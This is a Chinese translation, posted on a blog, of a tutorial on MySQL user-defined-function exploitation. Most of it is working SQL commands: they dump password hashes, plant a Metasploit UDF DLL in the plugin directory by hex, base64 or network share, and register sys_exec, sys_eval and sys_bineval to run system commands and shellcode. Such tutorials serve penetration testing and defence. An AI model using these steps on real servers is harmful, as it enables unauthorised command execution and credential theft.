译文--MySQL UDF Exploitation

  1. 综述
  2. 什么是 UDF库
  3. 上传二进制文件
  4. 深入 DLL
    1. sys_exec
    2. sys_eval
    3. sys_get
    4. 执行shell code – sys_bineval
  5. 参考链接
  6. Papers

翻译完了才发现Freebuf上也有这篇文章,而且这个技术挺老的了,做个纪念吧 ==

综述

在渗透测试一个金融机构的时候,发现他们的内网是 MySQL 5.7 64-bit 的数据库。我发现Sql注入可以从mysql.user这个表中把 usernamepassword 脱下来,并且有写入文件的权限。于是就有了写篇文章的的想法,来分享一下用 UDF 进行注入攻击、命令执行、反弹shell的技术。在Google的时候发现Windows系统遇到一些小问题,于是就写下这篇文章,理清一下我的思路,你也可以使用一些小的技巧在 UDF 上面。

这里使用的数据库是 MySQL 5.7.21 community server,(在写这篇文章的时候是最新的版本)。为了重现环境,我这里使用了mysql的 –secure-file-priv= 参数设置为空(这里不为空会限制你的发挥,脱裤或者上传文件的时候就很难受了)。在这个实验环境中我可以通过联合查询注入注入出mysql的用户名和密码。发现 MySQL 5.7 版本以上的Mysql,将 password 列替换成了 authentication_string

1
2
3
4
# MySQL 5.6一下
select host, user, password from mysql.user;
# MySQL 5.7以上
select host, user, authentication_string from mysql.user;

你也可以通过 metasploitmysql_hashdump.rb 这个模块来把mysql的hash值脱下来,我已经把所需要的脚本修改到可以利用Mysql 5.7 以上的版本,在这里

用户 osanda 可以允许 192.168.0.* 的IP进行连接,所以我们可以利用这个IP范围的机器进行连接,我已经破解了hash,得到了明文(plain text password)

当你登录上Mysql之后,可以看下当前用户的权限:

1
select * from mysql.user where user = substring_index(user(), '@', 1) \G;

这里我们的用户有所有的权限,可以写入文件,这时你就可以考虑一下利用写入UDF库进行命令执行。

什么是 UDF库

UDF即 User Defined Functions(用户自定义函数),你可以在dll文件中自定义函数然后调用到Mysql里面。我们这里会用到 lib_mysqludf_sys_64.dll ,在 Metasploit framework 里面已经有了,你可以在 /usr/share/metasploit-framework/data/exploits/mysql/ 这个目录下选择对应操作系统和架构(architecture)的 UDF 文件。

(这里我截图了Kali里面的,可能因为我的Kali很久没更新了,这里Click Here的UDF文件多一些)

首先我们要确定Mysql的操作系统和架构,我们可以用 @@version_compile_os@@version_compile_machine 两个参数来查看操作系统和架构

1
2
3
4
5
6
7
8
9
10
11
12
13
MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64 | x86_64 |
+----------------------+---------------------------+
MySQL [(none)]> show variables like '%compile%';
+-------------------------+--------+
| Variable_name | Value |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os | Win64 |
+-------------------------+--------+

MySQL 5.0.67 开始 UDF 必须包含在 plugin 文件下下面,你可以通过全局变量 @@plugin_dir 查看,也可以在 mysql.ini 文件夹下修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MySQL [(none)]> select @@plugin_dir ;
+--------------------------------------------------------------+
| @@plugin_dir |
+--------------------------------------------------------------+
| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+--------------------------------------------------------------+
1 row in set (0.02 sec)

MySQL [(none)]> show variables like 'plugin%';
+---------------+--------------------------------------------------------------+
| Variable_name | Value |
+---------------+--------------------------------------------------------------+
| plugin_dir | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+---------------+--------------------------------------------------------------+

可以通过 mysqld 下的一个参数进行修改

1
mysqld.exe –plugin-dir=C:\\temp\\plugins\\

另外一种方法:

1
mysqld.exe --defaults-file=C:\\temp\\my.ini

my.ini 文件中的内容:

1
2
[mysqld]
plugin_dir = C:\\temp\\plugins\\

在 5.0.67 版本之前你要写在操作系统的system用户下, 4.1.25 版本之前也还是一样的,下面是官方声明的文件(为了保持原来的感觉,这里的文档我就不翻译了):

1
As of MySQL 5.0.67, the file must be located in the plugin directory. This directory is given by the value of the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 5.0.67 applies: The file must be located in a directory that is searched by your system’s dynamic linker.
1
As of MySQL 4.1.25, the file must be located in the plugin directory. This directory is given by the value of the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 4.1.25 applies: The file must be located in a directory that is searched by your system’s dynamic linker.

看不懂的话就记住:

1
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。

更老的版本的 Mysql ,你可以写到这些路径里面:

1
2
3
4
5
@@datadir
@@basedir\bin
C:\windows
C:\windows\system
C:\windows\system32

上传二进制文件

这里有很多种上传的方式,可以用 load_file 参数,要是可以的话你可以想办法直接拷贝过去。

1
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

也可以用 hex encoded 的方式上传

1
2
3
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

另外一种方法就是创建一个table,写入data。(insert update啥的方法都行)

1
2
3
4
5
6
7
create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

你还可以通过本地或者外界的网络共享来写入到table中,利用 load data infile 命令。 将我上面展示的 hex 文件解码上传上去。

1
2
3
4
5
load data infile '\\\\192.168.0.19\\network\\udf.hex' 
into table temp fields terminated by '@OsandaMalith'
lines terminated by '@OsandaMalith' (data);

select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

有个好消息是,MySQL 5.6.1MariaDB 10.0.5 以上的版本都支持 to_base64 and from_base64 这两个函数,可以用来 bypass。

1
2
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';

也可以编辑 base64 的文件,写入到 plugin 文件下:

1
2
3
4
5
6
7
8
9
10
11
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA")
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

最后你可以把文件写入到数据库中:

1
mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64

可以在外网或者网络共享当中写入文件:

1
2
select from_base64(data) from temp 
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

(操作很多啊,总结的很全面)

深入 DLL

(看不懂汇编,简单翻译一下吧 ==)

很多时候我看见其他人都只用 sys_exec 这个命令,但是文件的作者还是写了一些很有用的函数,这里我展示出来。

sys_exec

这个函数会传递参数(args->args[0])执行系统命令

导入这个命令:

1
2
3
4
5
6
select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+

确认:

1
2
3
4
5
6
select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+

删除命令:

1
drop function sys_exec;

sys_eval

这个函数会通过 stdout 流将执行的命令回显出来,用到了 _popen 和 fgets。

导入这个命令:

1
create function sys_eval returns string soname 'udf.dll';

确认:

1
select * from mysql.func where name = 'sys_eval';

删除:

1
drop function sys_eval;

利用:

1
select sys_eval('dir');

sys_get

这个函数通过 getenv 返回给我们系统变量的值。

导入这个命令:

1
create function sys_get returns string soname 'udf.dll';

确认:

1
select * from mysql.func where name = 'sys_get';

删除:

1
Drop function sys_get;

利用:

1
Select sys_get('longonserver');

执行shell code – sys_bineval

我发现了一个很有趣的函数 sys_bineval ,它会分配 RWX内存(不知道什么是RWX),将 VirtualAlloc APIstrcpy the ‘args->args[0]’ 参数,通过 CreateThread API 添加到一个新的进程当中。(看不懂直接略过就好了,反正也是执行系统命令的)

导入这个命令:

1
create function sys_bineval returns int soname 'udf.dll';

确认:

1
select * from mysql.func where name = 'sys_bineval';

删除:

1
drop function sys_bineval;

利用:
这里文章的作者在64位的操作系统下并没有成功,在32位下成功了,可以直接调用shellcode或者加密的base64或者hex转换

1
select sys_bineval(from_base64(load_file('./calc.b64')));

发现这些外来的 UDF 函数没有自带的异常处理(原文应该是这个意思),有的时候可能出现错误造成mysql.exe crash,希望你在实战的过程中不要出现这样的情况。

参考链接

http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/create-function-udf.html
http://ftp.nchu.edu.tw/MySQL/doc/refman/4.1/en/create-function-udf.html
https://docs.oracle.com/cd/E19078-01/mysql/mysql-refman-5.0/extending-mysql.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-1.html
https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html
https://msdn.microsoft.com/en-us/library/aa298534(v=vs.60).aspx

Papers

Exploit-DB
Packet Storm


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:译文--MySQL UDF Exploitation

本文作者:sher10ck

发布时间:2019-07-12, 20:57:35

最后更新:2020-01-13, 13:05:50

原始链接:http://sherlocz.github.io/2019/07/12/译文-MySQL-UDF-Exploitation/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录